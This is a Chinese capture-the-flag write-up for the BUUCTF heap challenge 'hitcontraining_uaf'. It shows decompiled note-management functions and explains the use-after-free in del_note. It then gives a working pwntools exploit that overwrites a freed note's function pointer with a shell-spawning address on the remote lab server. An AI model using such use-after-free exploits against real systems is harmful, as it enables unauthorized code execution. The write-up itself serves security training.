BUUCTF-PWN-hitcontraining_uaf

1.checksec

32位的堆题,只开了一个保护,应该很简单,不会很难 

2.IDA

还给了bin/sh字符串,直接返回到0x8048945利用就行

add()函数

int add_note()
{
  int result; // eax
  int v1; // esi
  char buf[8]; // [esp+0h] [ebp-18h] BYREF
  size_t size; // [esp+8h] [ebp-10h]
  int i; // [esp+Ch] [ebp-Ch]

  result = count;
  if ( count > 5 )
    return puts("Full");
  for ( i = 0; i <= 4; ++i )
  {
    result = *((_DWORD *)&notelist + i);
    if ( !result )
    {
      *((_DWORD *)&notelist + i) = malloc(8u);
      if ( !*((_DWORD *)&notelist + i) )
      {
        puts("Alloca Error");
        exit(-1);
      }
      **((_DWORD **)&notelist + i) = print_note_content;
      printf("Note size :");
      read(0, buf, 8u);
      size = atoi(buf);
      v1 = *((_DWORD *)&notelist + i);
      *(_DWORD *)(v1 + 4) = malloc(size);
      if ( !*(_DWORD *)(*((_DWORD *)&notelist + i) + 4) )
      {
        puts("Alloca Error");
        exit(-1);
      }
      printf("Content :");
      read(0, *(void **)(*((_DWORD *)&notelist + i) + 4), size);
      puts("Success !");
      return ++count;
    }
  }
  return result;
}

 创建堆块,通过print_note_content;函数打印堆块中的内容

delete()函数

int del_note()
{
  int result; // eax
  char buf[4]; // [esp+8h] [ebp-10h] BYREF
  int v2; // [esp+Ch] [ebp-Ch]

  printf("Index :");
  read(0, buf, 4u);
  v2 = atoi(buf);
  if ( v2 < 0 || v2 >= count )
  {
    puts("Out of bound!");
    _exit(0);
  }
  result = *((_DWORD *)&notelist + v2);
  if ( result )
  {
    free(*(void **)(*((_DWORD *)&notelist + v2) + 4));
    free(*((void **)&notelist + v2));
    return puts("Success");
  }
  return result;
}

free之后没有置NULL,可以再次利用,题目的提示UAF

 先释放了有内容的堆块,然后释放了整个堆块

3.EXP

from pwn import*

r=remote('node4.buuoj.cn',25834)
#r=process('./hacknote')

def add(size,content):
  r.sendlineafter('choice :','1')
  r.sendlineafter('Note size :',str(size))
  r.sendlineafter('Content :',content)

def delete(idx):
  r.sendlineafter('choice :','2')
  r.sendlineafter('Index :',str(idx))

def printf(idx):
  r.sendlineafter('choice :','3')
  r.sendlineafter('Index :',str(idx))

shell_addr=0x8048945

add(48,'aaaa')
add(48,'bbbb')
#gdb.attach(r)
delete(0)
delete(1)
add(8,p32(shell_addr))
printf(0)

r.interactive()